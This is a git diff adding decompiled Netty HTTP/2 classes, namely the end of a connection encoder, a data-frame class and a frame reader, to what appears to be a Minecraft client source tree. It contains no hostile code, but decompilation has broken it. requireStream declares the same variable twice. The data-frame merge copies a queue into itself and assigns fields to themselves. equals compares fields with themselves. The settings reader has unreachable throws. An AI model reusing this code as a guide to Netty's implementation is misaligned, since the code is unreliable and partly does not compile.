+    return frameWriter.writePriority(ctx, streamId, streamDependency, weight, exclusive, promise);
+  }
+  
+
+
+  public ChannelFuture writeRstStream(ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    return lifecycleManager.resetStream(ctx, streamId, errorCode, promise);
+  }
+  
+
+  public ChannelFuture writeSettings(ChannelHandlerContext ctx, Http2Settings settings, ChannelPromise promise)
+  {
+    outstandingLocalSettingsQueue.add(settings);
+    try {
+      Boolean pushEnabled = settings.pushEnabled();
+      if ((pushEnabled != null) && (connection.isServer())) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Server sending SETTINGS frame with ENABLE_PUSH specified", new Object[0]);
+      }
+    } catch (Throwable e) {
+      return promise.setFailure(e);
+    }
+    
+    return frameWriter.writeSettings(ctx, settings, promise);
+  }
+  
+  public ChannelFuture writeSettingsAck(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    return frameWriter.writeSettingsAck(ctx, promise);
+  }
+  
+  public ChannelFuture writePing(ChannelHandlerContext ctx, boolean ack, ByteBuf data, ChannelPromise promise)
+  {
+    return frameWriter.writePing(ctx, ack, data, promise);
+  }
+  
+  public ChannelFuture writePushPromise(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding, ChannelPromise promise)
+  {
+    try
+    {
+      if (connection.goAwayReceived()) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Sending PUSH_PROMISE after GO_AWAY received.", new Object[0]);
+      }
+      
+      Http2Stream stream = requireStream(streamId);
+      
+      connection.local().reservePushStream(promisedStreamId, stream);
+    } catch (Throwable e) {
+      return promise.setFailure(e);
+    }
+    
+    return frameWriter.writePushPromise(ctx, streamId, promisedStreamId, headers, padding, promise);
+  }
+  
+
+  public ChannelFuture writeGoAway(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData, ChannelPromise promise)
+  {
+    return lifecycleManager.goAway(ctx, lastStreamId, errorCode, debugData, promise);
+  }
+  
+
+  public ChannelFuture writeWindowUpdate(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement, ChannelPromise promise)
+  {
+    return promise.setFailure(new UnsupportedOperationException("Use the Http2[Inbound|Outbound]FlowController objects to control window sizes"));
+  }
+  
+
+
+  public ChannelFuture writeFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload, ChannelPromise promise)
+  {
+    return frameWriter.writeFrame(ctx, frameType, streamId, flags, payload, promise);
+  }
+  
+  public void close()
+  {
+    frameWriter.close();
+  }
+  
+  public Http2Settings pollSentSettings()
+  {
+    return (Http2Settings)outstandingLocalSettingsQueue.poll();
+  }
+  
+  public Http2FrameWriter.Configuration configuration()
+  {
+    return frameWriter.configuration();
+  }
+  
+  private Http2Stream requireStream(int streamId) {
+    Http2Stream stream = connection.stream(streamId);
+    if (stream == null) { String message;
+      String message;
+      if (connection.streamMayHaveExisted(streamId)) {
+        message = "Stream no longer exists: " + streamId;
+      } else {
+        message = "Stream does not exist: " + streamId;
+      }
+      throw new IllegalArgumentException(message);
+    }
+    return stream;
+  }
+  
+
+
+
+  private final class FlowControlledData
+    extends DefaultHttp2ConnectionEncoder.FlowControlledBase
+  {
+    private final CoalescingBufferQueue queue;
+    
+
+    private int dataSize;
+    
+
+
+    FlowControlledData(Http2Stream stream, ByteBuf buf, int padding, boolean endOfStream, ChannelPromise promise)
+    {
+      super(stream, padding, endOfStream, promise);
+      queue = new CoalescingBufferQueue(promise.channel());
+      queue.add(buf, promise);
+      dataSize = queue.readableBytes();
+    }
+    
+    public int size()
+    {
+      return dataSize + padding;
+    }
+    
+    public void error(ChannelHandlerContext ctx, Throwable cause)
+    {
+      queue.releaseAndFailAll(cause);
+      
+
+      lifecycleManager.onError(ctx, cause);
+    }
+    
+    public void write(ChannelHandlerContext ctx, int allowedBytes)
+    {
+      int queuedData = queue.readableBytes();
+      if (!endOfStream) {
+        if (queuedData == 0)
+        {
+
+          ChannelPromise writePromise = ctx.newPromise().addListener(this);
+          queue.remove(0, writePromise).release();
+          ctx.write(Unpooled.EMPTY_BUFFER, writePromise);
+          return;
+        }
+        
+        if (allowedBytes == 0) {
+          return;
+        }
+      }
+      
+
+      int writeableData = Math.min(queuedData, allowedBytes);
+      ChannelPromise writePromise = ctx.newPromise().addListener(this);
+      ByteBuf toWrite = queue.remove(writeableData, writePromise);
+      dataSize = queue.readableBytes();
+      
+
+      int writeablePadding = Math.min(allowedBytes - writeableData, padding);
+      padding -= writeablePadding;
+      
+
+      frameWriter().writeData(ctx, stream.id(), toWrite, writeablePadding, (endOfStream) && (size() == 0), writePromise);
+    }
+    
+
+    public boolean merge(ChannelHandlerContext ctx, Http2RemoteFlowController.FlowControlled next)
+    {
+      FlowControlledData nextData;
+      if ((FlowControlledData.class != next.getClass()) || (Integer.MAX_VALUE - (nextData = (FlowControlledData)next).size() < size()))
+      {
+        return false; }
+      FlowControlledData nextData;
+      queue.copyTo(queue);
+      dataSize = queue.readableBytes();
+      
+      padding = Math.max(padding, padding);
+      endOfStream = endOfStream;
+      return true;
+    }
+  }
+  
+
+  private final class FlowControlledHeaders
+    extends DefaultHttp2ConnectionEncoder.FlowControlledBase
+  {
+    private final Http2Headers headers;
+    
+    private final int streamDependency;
+    
+    private final short weight;
+    private final boolean exclusive;
+    
+    FlowControlledHeaders(Http2Stream stream, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream, ChannelPromise promise)
+    {
+      super(stream, padding, endOfStream, promise);
+      this.headers = headers;
+      this.streamDependency = streamDependency;
+      this.weight = weight;
+      this.exclusive = exclusive;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public void error(ChannelHandlerContext ctx, Throwable cause)
+    {
+      if (ctx != null) {
+        lifecycleManager.onError(ctx, cause);
+      }
+      promise.tryFailure(cause);
+    }
+    
+    public void write(ChannelHandlerContext ctx, int allowedBytes)
+    {
+      if (promise.isVoid()) {
+        promise = ctx.newPromise();
+      }
+      promise.addListener(this);
+      
+      frameWriter.writeHeaders(ctx, stream.id(), headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+    }
+    
+
+    public boolean merge(ChannelHandlerContext ctx, Http2RemoteFlowController.FlowControlled next)
+    {
+      return false;
+    }
+  }
+  
+
+  public abstract class FlowControlledBase
+    implements Http2RemoteFlowController.FlowControlled, ChannelFutureListener
+  {
+    protected final Http2Stream stream;
+    
+    protected ChannelPromise promise;
+    protected boolean endOfStream;
+    protected int padding;
+    
+    protected FlowControlledBase(Http2Stream stream, int padding, boolean endOfStream, ChannelPromise promise)
+    {
+      if (padding < 0) {
+        throw new IllegalArgumentException("padding must be >= 0");
+      }
+      this.padding = padding;
+      this.endOfStream = endOfStream;
+      this.stream = stream;
+      this.promise = promise;
+    }
+    
+    public void writeComplete()
+    {
+      if (endOfStream) {
+        lifecycleManager.closeStreamLocal(stream, promise);
+      }
+    }
+    
+    public void operationComplete(ChannelFuture future) throws Exception
+    {
+      if (!future.isSuccess()) {
+        error(flowController().channelHandlerContext(), future.cause());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2DataFrame.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2DataFrame.java
new file mode 100644
index 0000000..6cfbeaf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2DataFrame.java
@@ -0,0 +1,190 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHttp2DataFrame
+  extends AbstractHttp2StreamFrame
+  implements Http2DataFrame
+{
+  private final ByteBuf content;
+  private final boolean endStream;
+  private final int padding;
+  
+  public DefaultHttp2DataFrame(ByteBuf content)
+  {
+    this(content, false);
+  }
+  
+
+
+
+
+  public DefaultHttp2DataFrame(boolean endStream)
+  {
+    this(Unpooled.EMPTY_BUFFER, endStream);
+  }
+  
+
+
+
+
+
+  public DefaultHttp2DataFrame(ByteBuf content, boolean endStream)
+  {
+    this(content, endStream, 0);
+  }
+  
+
+
+
+
+
+
+
+  public DefaultHttp2DataFrame(ByteBuf content, boolean endStream, int padding)
+  {
+    this.content = ((ByteBuf)ObjectUtil.checkNotNull(content, "content"));
+    this.endStream = endStream;
+    Http2CodecUtil.verifyPadding(padding);
+    this.padding = padding;
+  }
+  
+  public DefaultHttp2DataFrame streamId(int streamId)
+  {
+    super.streamId(streamId);
+    return this;
+  }
+  
+  public String name()
+  {
+    return "DATA";
+  }
+  
+  public boolean isEndStream()
+  {
+    return endStream;
+  }
+  
+  public int padding()
+  {
+    return padding;
+  }
+  
+  public ByteBuf content()
+  {
+    if (content.refCnt() <= 0) {
+      throw new IllegalReferenceCountException(content.refCnt());
+    }
+    return content;
+  }
+  
+  public DefaultHttp2DataFrame copy()
+  {
+    return replace(content().copy());
+  }
+  
+  public DefaultHttp2DataFrame duplicate()
+  {
+    return replace(content().duplicate());
+  }
+  
+  public DefaultHttp2DataFrame retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public DefaultHttp2DataFrame replace(ByteBuf content)
+  {
+    return new DefaultHttp2DataFrame(content, endStream, padding);
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public DefaultHttp2DataFrame retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public DefaultHttp2DataFrame retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public String toString()
+  {
+    return "DefaultHttp2DataFrame(streamId=" + streamId() + ", content=" + content + ", endStream=" + endStream + ", padding=" + padding + ")";
+  }
+  
+
+  public DefaultHttp2DataFrame touch()
+  {
+    content.touch();
+    return this;
+  }
+  
+  public DefaultHttp2DataFrame touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof DefaultHttp2DataFrame)) {
+      return false;
+    }
+    DefaultHttp2DataFrame other = (DefaultHttp2DataFrame)o;
+    return (super.equals(other)) && (content.equals(other.content())) && (endStream == endStream) && (padding == padding);
+  }
+  
+
+  public int hashCode()
+  {
+    int hash = super.hashCode();
+    hash = hash * 31 + content.hashCode();
+    hash = hash * 31 + (endStream ? 0 : 1);
+    hash = hash * 31 + padding;
+    return hash;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
new file mode 100644
index 0000000..c1f43eb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
@@ -0,0 +1,770 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2FrameReader
+  implements Http2FrameReader, Http2FrameSizePolicy, Http2FrameReader.Configuration
+{
+  private final Http2HeadersDecoder headersDecoder;
+  private boolean readingHeaders = true;
+  
+  private boolean readError;
+  
+  private byte frameType;
+  
+  private int streamId;
+  
+  private Http2Flags flags;
+  
+  private int payloadLength;
+  
+  private HeadersContinuation headersContinuation;
+  
+  private int maxFrameSize;
+  
+
+  public DefaultHttp2FrameReader()
+  {
+    this(true);
+  }
+  
+
+
+
+
+  public DefaultHttp2FrameReader(boolean validateHeaders)
+  {
+    this(new DefaultHttp2HeadersDecoder(validateHeaders));
+  }
+  
+  public DefaultHttp2FrameReader(Http2HeadersDecoder headersDecoder) {
+    this.headersDecoder = headersDecoder;
+    maxFrameSize = 16384;
+  }
+  
+  public Http2HeaderTable headerTable()
+  {
+    return headersDecoder.configuration().headerTable();
+  }
+  
+  public Http2FrameReader.Configuration configuration()
+  {
+    return this;
+  }
+  
+  public Http2FrameSizePolicy frameSizePolicy()
+  {
+    return this;
+  }
+  
+  public void maxFrameSize(int max) throws Http2Exception
+  {
+    if (!Http2CodecUtil.isMaxFrameSizeValid(max)) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Invalid MAX_FRAME_SIZE specified in sent settings: %d", new Object[] { Integer.valueOf(max) });
+    }
+    
+    maxFrameSize = max;
+  }
+  
+  public int maxFrameSize()
+  {
+    return maxFrameSize;
+  }
+  
+  public void close()
+  {
+    if (headersContinuation != null) {
+      headersContinuation.close();
+    }
+  }
+  
+  public void readFrame(ChannelHandlerContext ctx, ByteBuf input, Http2FrameListener listener)
+    throws Http2Exception
+  {
+    if (readError) {
+      input.skipBytes(input.readableBytes());
+      return;
+    }
+    try {
+      do {
+        if (readingHeaders) {
+          processHeaderState(input);
+          if (readingHeaders)
+          {
+            return;
+          }
+        }
+        
+
+
+
+
+
+        processPayloadState(ctx, input, listener);
+        if (!readingHeaders)
+        {
+          return;
+        }
+      } while (input.isReadable());
+    } catch (Http2Exception e) {
+      readError = (!Http2Exception.isStreamError(e));
+      throw e;
+    } catch (RuntimeException e) {
+      readError = true;
+      throw e;
+    } catch (Throwable cause) {
+      readError = true;
+      PlatformDependent.throwException(cause);
+    }
+  }
+  
+  private void processHeaderState(ByteBuf in) throws Http2Exception {
+    if (in.readableBytes() < 9)
+    {
+      return;
+    }
+    
+
+    payloadLength = in.readUnsignedMedium();
+    if (payloadLength > maxFrameSize) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Frame length: %d exceeds maximum: %d", new Object[] { Integer.valueOf(payloadLength), Integer.valueOf(maxFrameSize) });
+    }
+    
+    frameType = in.readByte();
+    flags = new Http2Flags(in.readUnsignedByte());
+    streamId = Http2CodecUtil.readUnsignedInt(in);
+    
+
+    readingHeaders = false;
+    
+    switch (frameType) {
+    case 0: 
+      verifyDataFrame();
+      break;
+    case 1: 
+      verifyHeadersFrame();
+      break;
+    case 2: 
+      verifyPriorityFrame();
+      break;
+    case 3: 
+      verifyRstStreamFrame();
+      break;
+    case 4: 
+      verifySettingsFrame();
+      break;
+    case 5: 
+      verifyPushPromiseFrame();
+      break;
+    case 6: 
+      verifyPingFrame();
+      break;
+    case 7: 
+      verifyGoAwayFrame();
+      break;
+    case 8: 
+      verifyWindowUpdateFrame();
+      break;
+    case 9: 
+      verifyContinuationFrame();
+      break;
+    }
+    
+  }
+  
+
+  private void processPayloadState(ChannelHandlerContext ctx, ByteBuf in, Http2FrameListener listener)
+    throws Http2Exception
+  {
+    if (in.readableBytes() < payloadLength)
+    {
+      return;
+    }
+    
+
+    ByteBuf payload = in.readSlice(payloadLength);
+    
+
+    readingHeaders = true;
+    
+
+    switch (frameType) {
+    case 0: 
+      readDataFrame(ctx, payload, listener);
+      break;
+    case 1: 
+      readHeadersFrame(ctx, payload, listener);
+      break;
+    case 2: 
+      readPriorityFrame(ctx, payload, listener);
+      break;
+    case 3: 
+      readRstStreamFrame(ctx, payload, listener);
+      break;
+    case 4: 
+      readSettingsFrame(ctx, payload, listener);
+      break;
+    case 5: 
+      readPushPromiseFrame(ctx, payload, listener);
+      break;
+    case 6: 
+      readPingFrame(ctx, payload, listener);
+      break;
+    case 7: 
+      readGoAwayFrame(ctx, payload, listener);
+      break;
+    case 8: 
+      readWindowUpdateFrame(ctx, payload, listener);
+      break;
+    case 9: 
+      readContinuationFrame(payload, listener);
+      break;
+    default: 
+      readUnknownFrame(ctx, payload, listener);
+    }
+  }
+  
+  private void verifyDataFrame() throws Http2Exception
+  {
+    verifyAssociatedWithAStream();
+    verifyNotProcessingHeaders();
+    verifyPayloadLength(payloadLength);
+    
+    if (payloadLength < flags.getPaddingPresenceFieldLength()) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Frame length %d too small.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyHeadersFrame() throws Http2Exception
+  {
+    verifyAssociatedWithAStream();
+    verifyNotProcessingHeaders();
+    verifyPayloadLength(payloadLength);
+    
+    int requiredLength = flags.getPaddingPresenceFieldLength() + flags.getNumPriorityBytes();
+    if (payloadLength < requiredLength) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Frame length too small." + payloadLength, new Object[0]);
+    }
+  }
+  
+  private void verifyPriorityFrame() throws Http2Exception
+  {
+    verifyAssociatedWithAStream();
+    verifyNotProcessingHeaders();
+    
+    if (payloadLength != 5) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Invalid frame length %d.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyRstStreamFrame() throws Http2Exception
+  {
+    verifyAssociatedWithAStream();
+    verifyNotProcessingHeaders();
+    
+    if (payloadLength != 4) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Invalid frame length %d.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifySettingsFrame() throws Http2Exception {
+    verifyNotProcessingHeaders();
+    verifyPayloadLength(payloadLength);
+    if (streamId != 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "A stream ID must be zero.", new Object[0]);
+    }
+    if ((flags.ack()) && (payloadLength > 0)) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Ack settings frame must have an empty payload.", new Object[0]);
+    }
+    if (payloadLength % 6 > 0) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Frame length %d invalid.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyPushPromiseFrame() throws Http2Exception {
+    verifyNotProcessingHeaders();
+    verifyPayloadLength(payloadLength);
+    
+
+
+    int minLength = flags.getPaddingPresenceFieldLength() + 4;
+    if (payloadLength < minLength) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Frame length %d too small.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyPingFrame() throws Http2Exception
+  {
+    verifyNotProcessingHeaders();
+    if (streamId != 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "A stream ID must be zero.", new Object[0]);
+    }
+    if (payloadLength != 8) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Frame length %d incorrect size for ping.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyGoAwayFrame() throws Http2Exception
+  {
+    verifyNotProcessingHeaders();
+    verifyPayloadLength(payloadLength);
+    
+    if (streamId != 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "A stream ID must be zero.", new Object[0]);
+    }
+    if (payloadLength < 8) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Frame length %d too small.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyWindowUpdateFrame() throws Http2Exception {
+    verifyNotProcessingHeaders();
+    verifyStreamOrConnectionId(streamId, "Stream ID");
+    
+    if (payloadLength != 4) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Invalid frame length %d.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyContinuationFrame() throws Http2Exception {
+    verifyAssociatedWithAStream();
+    verifyPayloadLength(payloadLength);
+    
+    if (headersContinuation == null) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Received %s frame but not currently processing headers.", new Object[] { Byte.valueOf(frameType) });
+    }
+    
+
+    if (streamId != headersContinuation.getStreamId()) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Continuation stream ID does not match pending headers. Expected %d, but received %d.", new Object[] { Integer.valueOf(headersContinuation.getStreamId()), Integer.valueOf(streamId) });
+    }
+    
+
+    if (payloadLength < flags.getPaddingPresenceFieldLength()) {
+      throw Http2Exception.streamError(streamId, Http2Error.FRAME_SIZE_ERROR, "Frame length %d too small for padding.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void readDataFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener)
+    throws Http2Exception
+  {
+    int padding = readPadding(payload);
+    verifyPadding(padding);
+    
+
+
+    int dataLength = lengthWithoutTrailingPadding(payload.readableBytes(), padding);
+    
+    ByteBuf data = payload.readSlice(dataLength);
+    listener.onDataRead(ctx, streamId, data, padding, flags.endOfStream());
+    payload.skipBytes(payload.readableBytes());
+  }
+  
+  private void readHeadersFrame(final ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    final int headersStreamId = streamId;
+    final Http2Flags headersFlags = flags;
+    final int padding = readPadding(payload);
+    verifyPadding(padding);
+    
+
+
+    if (flags.priorityPresent()) {
+      long word1 = payload.readUnsignedInt();
+      final boolean exclusive = (word1 & 0x80000000) != 0L;
+      final int streamDependency = (int)(word1 & 0x7FFFFFFF);
+      if (streamDependency == streamId) {
+        throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "A stream cannot depend on itself.", new Object[0]);
+      }
+      final short weight = (short)(payload.readUnsignedByte() + 1);
+      ByteBuf fragment = payload.readSlice(lengthWithoutTrailingPadding(payload.readableBytes(), padding));
+      
+
+      headersContinuation = new HeadersContinuation(headersStreamId, ctx)
+      {
+        public int getStreamId() {
+          return headersStreamId;
+        }
+        
+        public void processFragment(boolean endOfHeaders, ByteBuf fragment, Http2FrameListener listener)
+          throws Http2Exception
+        {
+          DefaultHttp2FrameReader.HeadersBlockBuilder hdrBlockBuilder = headersBlockBuilder();
+          hdrBlockBuilder.addFragment(fragment, ctx.alloc(), endOfHeaders);
+          if (endOfHeaders) {
+            listener.onHeadersRead(ctx, headersStreamId, hdrBlockBuilder.headers(), streamDependency, weight, exclusive, padding, headersFlags.endOfStream());
+          }
+          
+        }
+        
+
+      };
+      headersContinuation.processFragment(flags.endOfHeaders(), fragment, listener);
+      return;
+    }
+    
+
+
+    headersContinuation = new HeadersContinuation(headersStreamId, ctx)
+    {
+      public int getStreamId() {
+        return headersStreamId;
+      }
+      
+      public void processFragment(boolean endOfHeaders, ByteBuf fragment, Http2FrameListener listener)
+        throws Http2Exception
+      {
+        DefaultHttp2FrameReader.HeadersBlockBuilder hdrBlockBuilder = headersBlockBuilder();
+        hdrBlockBuilder.addFragment(fragment, ctx.alloc(), endOfHeaders);
+        if (endOfHeaders) {
+          listener.onHeadersRead(ctx, headersStreamId, hdrBlockBuilder.headers(), padding, headersFlags.endOfStream());
+        }
+        
+      }
+      
+
+    };
+    ByteBuf fragment = payload.readSlice(lengthWithoutTrailingPadding(payload.readableBytes(), padding));
+    headersContinuation.processFragment(flags.endOfHeaders(), fragment, listener);
+  }
+  
+  private void readPriorityFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    long word1 = payload.readUnsignedInt();
+    boolean exclusive = (word1 & 0x80000000) != 0L;
+    int streamDependency = (int)(word1 & 0x7FFFFFFF);
+    if (streamDependency == streamId) {
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "A stream cannot depend on itself.", new Object[0]);
+    }
+    short weight = (short)(payload.readUnsignedByte() + 1);
+    listener.onPriorityRead(ctx, streamId, streamDependency, weight, exclusive);
+  }
+  
+  private void readRstStreamFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    long errorCode = payload.readUnsignedInt();
+    listener.onRstStreamRead(ctx, streamId, errorCode);
+  }
+  
+  private void readSettingsFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    if (flags.ack()) {
+      listener.onSettingsAckRead(ctx);
+    } else {
+      int numSettings = payloadLength / 6;
+      Http2Settings settings = new Http2Settings();
+      for (int index = 0; index < numSettings; index++) {
+        char id = (char)payload.readUnsignedShort();
+        long value = payload.readUnsignedInt();
+        try {
+          settings.put(id, Long.valueOf(value));
+        } catch (IllegalArgumentException e) {
+          switch (id) {
+          case '\005': 
+            throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, e, e.getMessage(), new Object[0]); }
+        }
+        throw Http2Exception.connectionError(Http2Error.FLOW_CONTROL_ERROR, e, e.getMessage(), new Object[0]);
+        
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, e, e.getMessage(), new Object[0]);
+      }
+      
+
+      listener.onSettingsRead(ctx, settings);
+    }
+  }
+  
+  private void readPushPromiseFrame(final ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    final int pushPromiseStreamId = streamId;
+    final int padding = readPadding(payload);
+    verifyPadding(padding);
+    final int promisedStreamId = Http2CodecUtil.readUnsignedInt(payload);
+    
+
+    headersContinuation = new HeadersContinuation(pushPromiseStreamId, ctx)
+    {
+      public int getStreamId() {
+        return pushPromiseStreamId;
+      }
+      
+      public void processFragment(boolean endOfHeaders, ByteBuf fragment, Http2FrameListener listener)
+        throws Http2Exception
+      {
+        headersBlockBuilder().addFragment(fragment, ctx.alloc(), endOfHeaders);
+        if (endOfHeaders) {
+          listener.onPushPromiseRead(ctx, pushPromiseStreamId, promisedStreamId, headersBlockBuilder().headers(), padding);
+        }
+        
+      }
+      
+
+    };
+    ByteBuf fragment = payload.readSlice(lengthWithoutTrailingPadding(payload.readableBytes(), padding));
+    headersContinuation.processFragment(flags.endOfHeaders(), fragment, listener);
+  }
+  
+  private void readPingFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    ByteBuf data = payload.readSlice(payload.readableBytes());
+    if (flags.ack()) {
+      listener.onPingAckRead(ctx, data);
+    } else {
+      listener.onPingRead(ctx, data);
+    }
+  }
+  
+  private static void readGoAwayFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    int lastStreamId = Http2CodecUtil.readUnsignedInt(payload);
+    long errorCode = payload.readUnsignedInt();
+    ByteBuf debugData = payload.readSlice(payload.readableBytes());
+    listener.onGoAwayRead(ctx, lastStreamId, errorCode, debugData);
+  }
+  
+  private void readWindowUpdateFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener) throws Http2Exception
+  {
+    int windowSizeIncrement = Http2CodecUtil.readUnsignedInt(payload);
+    if (windowSizeIncrement == 0) {
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "Received WINDOW_UPDATE with delta 0 for stream: %d", new Object[] { Integer.valueOf(streamId) });
+    }
+    
+    listener.onWindowUpdateRead(ctx, streamId, windowSizeIncrement);
+  }
+  
+  private void readContinuationFrame(ByteBuf payload, Http2FrameListener listener)
+    throws Http2Exception
+  {
+    ByteBuf continuationFragment = payload.readSlice(payload.readableBytes());
+    headersContinuation.processFragment(flags.endOfHeaders(), continuationFragment, listener);
+  }
+  
+  private void readUnknownFrame(ChannelHandlerContext ctx, ByteBuf payload, Http2FrameListener listener)
+    throws Http2Exception
+  {
+    payload = payload.readSlice(payload.readableBytes());
+    listener.onUnknownFrame(ctx, frameType, streamId, flags, payload);
+  }
+  
+
+
+
+  private int readPadding(ByteBuf payload)
+  {
+    if (!flags.paddingPresent()) {
+      return 0;
+    }
+    return payload.readUnsignedByte() + 1;
+  }
+  
+  private void verifyPadding(int padding) throws Http2Exception {
+    int len = lengthWithoutTrailingPadding(payloadLength, padding);
+    if (len < 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Frame payload too small for padding.", new Object[0]);
+    }
+  }
+  
+
+
+
+  private static int lengthWithoutTrailingPadding(int readableBytes, int padding)
+  {
+    return padding == 0 ? readableBytes : readableBytes - (padding - 1);
+  }
+  
+
+
+
+
+
+
+  private abstract class HeadersContinuation
+  {
+    private final DefaultHttp2FrameReader.HeadersBlockBuilder builder = new DefaultHttp2FrameReader.HeadersBlockBuilder(DefaultHttp2FrameReader.this);
+    
+
+
+    private HeadersContinuation() {}
+    
+
+
+    abstract int getStreamId();
+    
+
+
+    abstract void processFragment(boolean paramBoolean, ByteBuf paramByteBuf, Http2FrameListener paramHttp2FrameListener)
+      throws Http2Exception;
+    
+
+    final DefaultHttp2FrameReader.HeadersBlockBuilder headersBlockBuilder()
+    {
+      return builder;
+    }
+    
+
+
+    final void close()
+    {
+      builder.close();
+    }
+  }
+  
+
+  protected class HeadersBlockBuilder
+  {
+    private ByteBuf headerBlock;
+    
+
+    protected HeadersBlockBuilder() {}
+    
+
+    private void headerSizeExceeded()
+      throws Http2Exception
+    {
+      close();
+      Http2CodecUtil.headerListSizeExceeded(streamId, headersDecoder.configuration().headerTable().maxHeaderListSize());
+    }
+    
+
+
+
+
+
+
+
+    final void addFragment(ByteBuf fragment, ByteBufAllocator alloc, boolean endOfHeaders)
+      throws Http2Exception
+    {
+      if (headerBlock == null) {
+        if (fragment.readableBytes() > headersDecoder.configuration().headerTable().maxHeaderListSize()) {
+          headerSizeExceeded();
+        }
+        if (endOfHeaders)
+        {
+
+          headerBlock = fragment.retain();
+        } else {
+          headerBlock = alloc.buffer(fragment.readableBytes());
+          headerBlock.writeBytes(fragment);
+        }
+        return;
+      }
